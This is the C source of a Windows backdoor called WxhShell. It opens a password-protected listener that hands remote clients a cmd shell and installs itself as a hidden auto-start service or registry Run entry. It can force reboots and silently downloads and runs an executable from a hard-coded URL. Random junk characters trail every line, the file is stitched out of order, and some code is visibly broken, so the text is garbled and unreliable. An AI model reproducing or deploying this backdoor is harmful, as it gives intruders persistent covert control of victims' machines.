    if(Boot(SHUTDOWN)) HA1]M`&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8""mp]o9  
    else { E23w *']  
    closesocket(wsh); JtFiFaCxY  
    ExitThread(0); 4#7Umj  
    } 3}j1RYtz  
    break; ||XIWKF<n2  
    } P.h.M A]  
  // 获取shell rd" &QB{  
  case 's': { {"jd_b&  
    CmdShell(wsh); EX+,:l\^  
    closesocket(wsh); 6g~+( ({lQ  
    ExitThread(0); ~z`/9 ;  
    break; Dkw*Je#6PX  
  } [%?y( q  
  // 退出 y?Onb 3%  
  case 'x': { (A uPZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Zih ?Bm  
    CloseIt(wsh); rREzM)GA  
    break; cQn)^jx=  
    } Ka.Nr@Rq*~  
  // 离开 Ye@t_,)x  
  case 'q': { 9n 6fXOC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); np=kTJ  
    closesocket(wsh); nE7JLtbH  
    WSACleanup(); u7#z^r  
    exit(1); ]F+K|X9-  
    break; GI_DhU]~)  
        } ^j=bObaX  
  } #w*"qn#2Uz  
  } ?:/|d\,7@  
mW +tV1XjG  
  // 提示信息 W&KM/9d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Uouq>N  
} ESv:1o`?n  
  } SK-W%t  
 D%gGRA  
  return; 11{y}J  
} \iga Q\~  
W+hV9  
// shell模块句柄 u|OtKq  
int CmdShell(SOCKET sock) *Ru2:}?MpS  
{ ^mfjn-=3  
STARTUPINFO si; kc Y,vl  
ZeroMemory(&si,sizeof(si)); ]7vf#1i<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7xT[<?,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?(D}5`Nfu  
PROCESS_INFORMATION ProcessInfo; a:}E& ,&M  
char cmdline[]="cmd"; yC"Zoa6YZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y&GuDLUF  
  return 0; J3IRP/*z  
} L;yEz[#xaT  
~-<:+9m  
// 自身启动模式  d1bhJK  
int StartFromService(void) ~6HDW  
{ p:tN642  
typedef struct iaRR5D-  
{ L[]BzsIv  
  DWORD ExitStatus; _-TOeP8#94  
  DWORD PebBaseAddress; iC*U$+JG  
  DWORD AffinityMask; 41}/w3Z4  
  DWORD BasePriority; s0lYj@E'  
  ULONG UniqueProcessId; aDveU)]=1  
  ULONG InheritedFromUniqueProcessId; j)";:v  
}   PROCESS_BASIC_INFORMATION; a.,i.2  
Wj OH/$(  
PROCNTQSIP NtQueryInformationProcess; sOQcx\dK  
Nb1J ~v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &^+3er rO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OL9]*G?F  
SUu >6'LN  
  HANDLE             hProcess; MA6P"?  
  PROCESS_BASIC_INFORMATION pbi; jsZY{s=  
` FxtLG,F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y ||@?Y  
  if(NULL == hInst ) return 0; F.0d4:A+  
"kr,x3 =  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =G>.-Qfs  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tBv3~Of.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _+n;A46  
WgPgG0VJE  
  if (!NtQueryInformationProcess) return 0; [>p6   
m}pL`:e!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PkJcd->  
  if(!hProcess) return 0; HlRAD|]\  
+5-fk>o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $iHoOYx]<  
6|oWaA\gI  
  CloseHandle(hProcess); 9GPb$ gtx  
n;qz^HXEJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I.9o`Q[8&  
if(hProcess==NULL) return 0; ]#5^&w)'  
}P. K2ku  
HMODULE hMod; 4|F#gK5E  
char procName[255]; u<kD}  
unsigned long cbNeeded; G4m4k  
s|gp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5qiI.)  
IfB/O.;Kz  
  CloseHandle(hProcess); uS-3\$  
T<M?PlED  
if(strstr(procName,"services")) return 1; // 以服务启动 gn`zy9PU  
"& Mou  
  return 0; // 注册表启动 -ek1$y9)  
} `Hd9\;NJ  
_uJVuCc  
// 主模块 Aqu]9M~  
int StartWxhshell(LPSTR lpCmdLine) phS>T  
{ '=@r7g.2  
  SOCKET wsl; LfllO  
BOOL val=TRUE; +;6)  
  int port=0; yLB~P7K  
  struct sockaddr_in door; 8T7f[?  
6g|#ho1Bbs  
  if(wscfg.ws_autoins) Install(); JT#7yetk'  
J&_3VKrN  
port=atoi(lpCmdLine); ^r4|{  
Wvb Eh|y  
if(port<=0) port=wscfg.ws_port; UM`nq;>  
6}STp_x  
  WSADATA data; 9t}J|09i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2/EK`S  
/.2qWQH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?UJSxL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .<dOED{v  
  door.sin_family = AF_INET; $W*|~}F/Ap  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -nG wuEngP  
  door.sin_port = htons(port); k#?| yP:  
6J"(xT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u>m'FECXj  
closesocket(wsl); Ysl9f1>%  
return 1; "8?TSm8  
} (:l(_-O  
7dHIW!OA  
  if(listen(wsl,2) == INVALID_SOCKET) { Hh@2m\HA  
closesocket(wsl); '{CWanTPi  
return 1; p>&S7M/9  
} ]K*GSU  
  Wxhshell(wsl); iU XM( ]  
  WSACleanup(); AygvJeM_W  
EP(Eq  
return 0; 8J):\jAZ6  
+nzTxpcP@K  
} ZBC@xM&-  
)gjGG8 Ee  
// 以NT服务方式启动 s{B_N/^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q^%5HeV 2  
{  Zsgi{  
DWORD   status = 0; s_v }=C^  
  DWORD   specificError = 0xfffffff;  VmYBa(  
 +xq=<jy  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 58PKx5`D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^9s"FdB]24  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (Wn "3 ]  
  serviceStatus.dwWin32ExitCode     = 0; 97(n\Wt 2  
  serviceStatus.dwServiceSpecificExitCode = 0; @f%wd2  
  serviceStatus.dwCheckPoint       = 0; SKW;MVC  
  serviceStatus.dwWaitHint       = 0; `T`c@A  
UC(9Dz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q<C@KBiVE  
  if (hServiceStatusHandle==0) return; MorW\7-}  
UFL0 K  
status = GetLastError(); zG<0CZQ8  
  if (status!=NO_ERROR) RRNH0-D1l  
{ zaBG=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Xa)7`bp<  
    serviceStatus.dwCheckPoint       = 0; Z<I[vp6{  
    serviceStatus.dwWaitHint       = 0; %~G0[fG  
    serviceStatus.dwWin32ExitCode     = status; p#z;cjfSt  
    serviceStatus.dwServiceSpecificExitCode = specificError; }d@LSaM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dw3'T4TC?  
    return; zQn//7#-G  
  } ~%/'0}F  
`k!UjO72  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rrYp'L  
  serviceStatus.dwCheckPoint       = 0; GgT=t)}wu  
  serviceStatus.dwWaitHint       = 0; 5qeT4| Ol  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VGfD;8]z  
} |KTpK(6p  
ynxWQ%d(`  
// 处理NT服务事件,比如:启动、停止 5vYsA1Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I51M}b,[d  
{ /m;O;2"  
switch(fdwControl) [O [FCn  
{ rpx 0|{m  
case SERVICE_CONTROL_STOP: k-io$  
  serviceStatus.dwWin32ExitCode = 0; F W/)uf3I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .\)--+(  
  serviceStatus.dwCheckPoint   = 0; JE/l#Q!  
  serviceStatus.dwWaitHint     = 0; RsR] T]4  
  { ~ >4@;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UP5%C;  
  } m)(SG  
  return; %+D-y+hn  
case SERVICE_CONTROL_PAUSE: MM=W9#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; neK*jdaP  
  break; vI4%d,  
case SERVICE_CONTROL_CONTINUE: &Jrq5Q C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {_": / A  
  break; buc,M@>  
case SERVICE_CONTROL_INTERROGATE: 5?D1][  
  break; zsHG= Ee*  
}; aB/{ %%o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yLV2>kq  
} jq7vOr-_g  
Q9Q!9B @  
// 标准应用程序主函数 u Eu6f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bCH*8,Bmh  
{ H9.oVF^~  
{yGZc3e1j  
// 获取操作系统版本 kyp U&F  
OsIsNt=GetOsVer(); G~Sy&XJuq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L3-<Kop  
U` ? zC~  
  // 从命令行安装 \=HfO?$ Ro  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1\M"`L/  
;5,`Jpca  
  // 下载执行文件 =U)n`#6_j2  
if(wscfg.ws_downexe) { aNuZ/9O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uzat."`d'  
  WinExec(wscfg.ws_filenam,SW_HIDE); buMiJzU  
} ~{52JeUcP  
+!mNm?H[!  
if(!OsIsNt) { +&&MUT{ 3  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?,A}E|jZ  
HideProc(); 'LtgA|c=  
StartWxhshell(lpCmdLine); 03i?"MvNo  
} !UUmy% 9  
else c,b`N0dOKL  
  if(StartFromService()) +?4*,8Tmmz  
  // 以服务方式启动 ~v{C6)  
  StartServiceCtrlDispatcher(DispatchTable); S,d ngb{  
else H]T2$'U6  
  // 普通方式启动 x= vE&9_u  
  StartWxhshell(lpCmdLine); e/m'a|%:  
q?e16M  
return 0; Yc. ~qmG/z  
} Vq)|gF[6i  
es*_Oo1  
e+d6R[`M  
~T;a jvJ  
=========================================== rFt,36#  
%WJ\'@O\  
Sop Ntcu!  
b3CspBgC  
a[d{>Fb.  
j? Jd@(*y$  
" E980yXJR  
9;xL!cy  
#include <stdio.h> &y+PSa%n  
#include <string.h> ~L4*b *W  
#include <windows.h> ((hJmaq  
#include <winsock2.h> Qzs\|KS  
#include <winsvc.h> qxecp2>U  
#include <urlmon.h> s[{:>~{iq  
T9XW%/n  
#pragma comment (lib, "Ws2_32.lib") #1,>Qnl  
#pragma comment (lib, "urlmon.lib") z9);e8ck  
MK!]y8+Z  
#define MAX_USER   100 // 最大客户端连接数 k:+)$[t7  
#define BUF_SOCK   200 // sock buffer ?Uy*6YS  
#define KEY_BUFF   255 // 输入 buffer E&T'U2  
edImrm1f  
#define REBOOT     0   // 重启 twJ|Jmd  
#define SHUTDOWN   1   // 关机 NdXy% Q  
# ZYid t  
#define DEF_PORT   5000 // 监听端口 Wj f>:\ w  
dWq/)%@t  
#define REG_LEN     16   // 注册表键长度 mw4'z,1Q  
#define SVC_LEN     80   // NT服务名长度 3 DO$^JJ.  
Ep,0Z*j  
// 从dll定义API bTo@gJk n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,P; a/{U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i"\AyKiJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hAxuZb7 ?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w'zO(6 `  
+y{93nl  
// wxhshell配置信息 0u&?Zy9&  
struct WSCFG { D0E"YEo\nv  
  int ws_port;         // 监听端口 G~iYF(:&  
  char ws_passstr[REG_LEN]; // 口令 ~XT a=  
  int ws_autoins;       // 安装标记, 1=yes 0=no UV *tO15i  
  char ws_regname[REG_LEN]; // 注册表键名 ]9yA0,z/  
  char ws_svcname[REG_LEN]; // 服务名 b1 ['uJF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q\/":ISq1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ? /|@ #&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w or'=byh\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,h(f\h(9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )zc8bS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dc@wf;o  
by:xD2 5  
}; /x8C70W^  
@!O&b%8X%  
// default Wxhshell configuration V]S06>P  
struct WSCFG wscfg={DEF_PORT, x#e\ H F  
    "xuhuanlingzhe", /CQQ^/  
    1, DRg ~HT  
    "Wxhshell", n+F-,=0  
    "Wxhshell", r|H!s,  
            "WxhShell Service", XX5(/#  
    "Wrsky Windows CmdShell Service", +Tc(z{;  
    "Please Input Your Password: ", <+1w'-  
  1, U%PMV?L{  
  "http://www.wrsky.com/wxhshell.exe", !L.z4n,n+  
  "Wxhshell.exe" H1b%:KRVK  
    }; [\%t<aa  
ALt";8Oa  
// 消息定义模块 !.GY~f<d$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \,IDLXqp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4.kkxQR7r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uY%3X/^j  
char *msg_ws_ext="\n\rExit."; <x;[ H%  
char *msg_ws_end="\n\rQuit."; sbiDnRf  
char *msg_ws_boot="\n\rReboot..."; "YvBb:Z>  
char *msg_ws_poff="\n\rShutdown..."; ve]95w9J  
char *msg_ws_down="\n\rSave to "; :IKp7BS  
{ZYCnS&?CL  
char *msg_ws_err="\n\rErr!"; Dlsa(  
char *msg_ws_ok="\n\rOK!"; D '_#?%3^  
W:( Us y  
char ExeFile[MAX_PATH]; b({b5z.A  
int nUser = 0; d_|v=^;  
HANDLE handles[MAX_USER]; -a^sX%|Bl  
int OsIsNt; 3&d+U)E  
s#Y7*?Sm  
SERVICE_STATUS       serviceStatus; ;8x^9Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @3= < wz<  
o;-! ?uJ  
// 函数声明 3Eux-C!t  
int Install(void); "'dC>7*<  
int Uninstall(void); lukRFN>c"  
int DownloadFile(char *sURL, SOCKET wsh); aj-uk(r  
int Boot(int flag); =]k_Oq-1h  
void HideProc(void); 'eXw`kw(  
int GetOsVer(void); .4)P=*  
int Wxhshell(SOCKET wsl); lxJ.h&"P  
void TalkWithClient(void *cs); O6 J<Lqgh  
int CmdShell(SOCKET sock); 2Yf;b9-k  
int StartFromService(void); ;+Kewi;<  
int StartWxhshell(LPSTR lpCmdLine); mZ&Mj.0+~  
8@#Y <{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lMf5F8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PbH]K$mj{"  
vK>^#b3  
// 数据结构和表定义 pKlT.<X7  
SERVICE_TABLE_ENTRY DispatchTable[] = _C#( )#  
{ Jg6[/7*m  
{wscfg.ws_svcname, NTServiceMain}, Z- Ae'ym  
{NULL, NULL} jJnBwHp  
}; *Bz&  
+FK<j;}C7  
// 自我安装 PG]mwaj])  
int Install(void) #gT^hl5/  
{ C&"2`ll  
  char svExeFile[MAX_PATH]; 3CRBu:)m  
  HKEY key; 9!C?2*>A P  
  strcpy(svExeFile,ExeFile); X~4:sJ\P=  
~"B[6^sW  
// 如果是win9x系统,修改注册表设为自启动 vwD(J.;  
if(!OsIsNt) { c$z_Zi!g#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W5;sps  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #ms98pw%5  
  RegCloseKey(key); a'~y'6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m$: a|'mS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~PAn _]Z  
  RegCloseKey(key); ,i.P= o  
  return 0; ]TOY_K8"z#  
    } '2#fkH[.  
  } g >oLc6T  
} #XPU$=  
else { u^p[zepW\  
C5 !n {  
// 如果是NT以上系统,安装为系统服务 =w>QG{-N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /_(Dq8^g@  
if (schSCManager!=0) Uij$ eBN  
{ tB7aHZ|  
  SC_HANDLE schService = CreateService 6w ,xb&S  
  ( v836nxLM  
  schSCManager, gk` .8o  
  wscfg.ws_svcname, 2kve?/  
  wscfg.ws_svcdisp, *k$&Hcr$  
  SERVICE_ALL_ACCESS, D1k]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y_#wR/E)u{  
  SERVICE_AUTO_START, ,{at?y*  
  SERVICE_ERROR_NORMAL, hn .fX:}  
  svExeFile, S3f BZIPp  
  NULL, ha 5\T'  
  NULL, )]R8 $S  
  NULL, G7?EaLsfQ  
  NULL, >MH@FnUL  
  NULL yhmW-#+^e  
  ); Sm5"Q  
  if (schService!=0) -:q7"s-}b  
  { z_TK (;j  
  CloseServiceHandle(schService); *UC^&5:  
  CloseServiceHandle(schSCManager); E{J;-+t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |/$#G0X;H  
  strcat(svExeFile,wscfg.ws_svcname); ;7hr8?M|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NKws;/u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {`> x"Y5  
  RegCloseKey(key); |99eDgK,  
  return 0; #s%$kYp 1  
    } 3#unh`3b  
  } C&gJP7UF  
  CloseServiceHandle(schSCManager); [<hiOB  
} RB2u1]l  
} dXhV]xK  
W2^R$"U  
return 1; 3@PVUJ0B|  
} kQ+5p Fo3  
)U` c9*.  
// 自我卸载 >e%Po,Fg$  
int Uninstall(void) QB3AL; 7  
{ dhbJ1/z^  
  HKEY key; ORNE>6J H  
6._):[_2  
if(!OsIsNt) { 2bmppDk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bmLNR  
  RegDeleteValue(key,wscfg.ws_regname); Qi M>59[  
  RegCloseKey(key); O{PRK5^h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [Pay<]c6g  
  RegDeleteValue(key,wscfg.ws_regname); cP,jC(<N  
  RegCloseKey(key);  `S|gfJ  
  return 0; r\zK>GVm_  
  } 0#G"{M  
} @Hzsud  
} a%kj)ah  
else { @gd-lcMYW  
@47TDCr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +x`tvo  
if (schSCManager!=0) =g ]C9'I3  
{ 0)Z7U$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z6I!4K  
  if (schService!=0) :}lE@Y,R   
  { 9iUw7-)  
  if(DeleteService(schService)!=0) { S $Wd}2>  
  CloseServiceHandle(schService); 'EQAG' YV  
  CloseServiceHandle(schSCManager); =o {`vv  
  return 0; C/XOI >  
  } *+G K ?Ga  
  CloseServiceHandle(schService);  /Wa+mp  
  } ,AJd2ix  
  CloseServiceHandle(schSCManager); S"dQ@r9  
} wG B'c's*  
} nv={.H  
<rkF2-K,  
return 1; 9X-DR  
} =J:~AD#  
:c\NBKHv*  
// 从指定url下载文件 t6tqv  
int DownloadFile(char *sURL, SOCKET wsh) ~DSle 3  
{ /a,q4tD@  
  HRESULT hr; ,yC~{ H  
char seps[]= "/"; z w0p}  
char *token; BjShK+Y  
char *file; Xd4~N:  
char myURL[MAX_PATH]; x@/ !H<y  
char myFILE[MAX_PATH]; ALG +  
DP?gozm  
strcpy(myURL,sURL); v;OA hFr|  
  token=strtok(myURL,seps); _C##U;e!  
  while(token!=NULL) 3KqylC &.  
  { @+xQj.jNC  
    file=token; v>,XJ7P  
  token=strtok(NULL,seps); n9#@ e}r  
  } Q>|<R[.7  
Z$q}y 79^  
GetCurrentDirectory(MAX_PATH,myFILE); (|WqOwmoUt  
strcat(myFILE, "\\"); //`X+[bMG  
strcat(myFILE, file); vnKUD|  
  send(wsh,myFILE,strlen(myFILE),0); dfNNCPu]+  
send(wsh,"...",3,0); m$U2|5un&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wy7f7zIa  
  if(hr==S_OK) S2`p&\Ifn  
return 0; cc@y  
else f>Ge Em~  
return 1; f\ Qi()  
z 6p.{M  
} w*aKb  
s8R.?mhH=  
// 系统电源模块 NL1Ajms`  
int Boot(int flag) 3t8VH`!mL{  
{ q$\KE4v"  
  HANDLE hToken; ZM\Z2L]n  
  TOKEN_PRIVILEGES tkp; d5h:py5  
$[H3O(B0*  
  if(OsIsNt) { aC;OFINK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sVGyHA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); emTqbO  
    tkp.PrivilegeCount = 1; l@':mX3xd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BeBa4s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); yAaMYF@  
if(flag==REBOOT) { _/hWzj=q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {>90d(j  
  return 0; %?K'eg kp  
} f`T#=6C4|  
else { mkgDg y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &S/KR$^ %  
  return 0; 4v Ug:'DM  
} iXI > >9  
  } m#ID%[hg$  
  else { T$!. :v  
if(flag==REBOOT) { 86oa>#opU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qEE V&  
  return 0; dxsPX =\:  
} =5J}CPKbZI  
else { %qNT<>c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xzh`q  
  return 0; \s<L2uRj  
} Kx7s d i  
} `5:b=^'D /  
:hC+r=!I  
return 1; s>ilxLSX]  
} cJ=0zEv  
CKCot  
// win9x进程隐藏模块 jhg0H2C8  
void HideProc(void) E {*d`n  
{ DJR_"8  
g{RVxGE7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .]24V!J(1w  
  if ( hKernel != NULL ) "&W80,O3  
  { WWZ`RY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fgdqp8~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~qT5F)$B-  
    FreeLibrary(hKernel); V^apDV\AV  
  } k^K>*mcJ  
QY|Rz(;m  
return; >cJfD9-<h  
} x}B3h9]  
it77x3Mm F  
// 获取操作系统版本 SJ8Ax_9{q  
int GetOsVer(void) gaV>WF  
{ =# 0f4z  
  OSVERSIONINFO winfo; u0p[ltJ,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q #IlUo  
  GetVersionEx(&winfo); wNl{,aH@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #p$iWY>e~  
  return 1; 07b =Zhh  
  else lu vrvm  
  return 0; eCFMWFhC  
} v(=?@ tF}E  
"lLwgh;  
// 客户端句柄模块 gxPu/VD4  
int Wxhshell(SOCKET wsl) XtCG.3(LY  
{ bY&!d.  
  SOCKET wsh; %>Q[j`9y  
  struct sockaddr_in client; O pavno%&  
  DWORD myID; Cg_9V4h.C  
V$0mcwH  
  while(nUser<MAX_USER) lV".-:u_  
{ [eLMb)n  
  int nSize=sizeof(client); ANWfRtiU#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [|&#A;{F#  
  if(wsh==INVALID_SOCKET) return 1; z_f^L %J0  
WIKSz {"=/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Xrl# DN  
if(handles[nUser]==0) &$yxAqdab  
  closesocket(wsh); Ahk q  
else {:] u 6l  
  nUser++; ZSvU1T8  
  } P"[\p|[U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7K5 tBUNQ  
Dr K@y8  
  return 0; InA=ty]"_U  
} zt;aB>jz#  
?xwLe  
// 关闭 socket +?)R}\\  
void CloseIt(SOCKET wsh) (1e,9!?  
{ Z\r?>2  
closesocket(wsh); 9CG&MvF c  
nUser--; G4rd<V0[D  
ExitThread(0); +\-cf,WkI  
} XFSHl[uS1  
=O%'qUj`q  
// 客户端请求句柄 Pj8W]SA_  
void TalkWithClient(void *cs) 0oQJ}8t  
{ s+t[{i4|  
(<2!^v0.M  
  SOCKET wsh=(SOCKET)cs; A01PEVd@A  
  char pwd[SVC_LEN]; f|6 Y  
  char cmd[KEY_BUFF]; % oJH 6F  
char chr[1]; j-#h^3l1?  
int i,j; ra;:  
ZZ>F ^t  
  while (nUser < MAX_USER) { '>cZ7:  
MzMVs3w|  
if(wscfg.ws_passstr) { h0] bIT{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U1Y0G[i)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cs9"0&JX  
  //ZeroMemory(pwd,KEY_BUFF); j1 H eX  
      i=0; v:"Y  
  while(i<SVC_LEN) { L8J] X7  
xwu b-yz  
  // 设置超时 B[~Q0lPih  
  fd_set FdRead; OP|X-  
  struct timeval TimeOut; cJ\ 1ndBH  
  FD_ZERO(&FdRead); E|3[$?=R  
  FD_SET(wsh,&FdRead); RR2M+vQ  
  TimeOut.tv_sec=8;  Q!5W x  
  TimeOut.tv_usec=0; i0u`J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rgo!t028^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wbB\~*Z)  
`ff@f]|3^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %Z8wUG  
  pwd=chr[0]; Ap~6Vu  
  if(chr[0]==0xd || chr[0]==0xa) { l{QlJ>%~{;  
  pwd=0; /[5\T2GI   
  break; OaKr_m  
  } Pv|sPIIB7  
  i++; JkI|Ojmm/  
    } <qVOd.9c  
f\FqZ?w  
  // 如果是非法用户,关闭 socket wlQ @3RN>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \E6 0  
} k*OHI/uiow  
I+QM":2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Gzp*Vr  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dXPTW;w  
r?9".H  
while(1) { =3nA5'UZ  
8@ S@^C*F  
  ZeroMemory(cmd,KEY_BUFF); /8 y v8  
9VMk?   
      // 自动支持客户端 telnet标准   !C(PfsrR/  
  j=0; ^9]g5.z:  
  while(j<KEY_BUFF) { _$/Bt?h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fymmA faR  
  cmd[j]=chr[0]; *to#ZMR;!  
  if(chr[0]==0xa || chr[0]==0xd) { xf?"Q#  
  cmd[j]=0; ']d(m?  
  break; t>Yl= 79,  
  } !}5+hj!6  
  j++; Y-,S_59  
    } ,4k3C#!. i  
lR/Uboyy  
  // 下载文件 #=72 /[  
  if(strstr(cmd,"http://")) { a5(9~. 9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YV'B*arIA  
  if(DownloadFile(cmd,wsh)) S~W;Ld<>fB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l3y}nh+ 8  
  else I+`>e*:@W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k@pEs# a  
  } w4R~0jXy  
  else { D~TlG@Pq  
%L$ ?Mey  
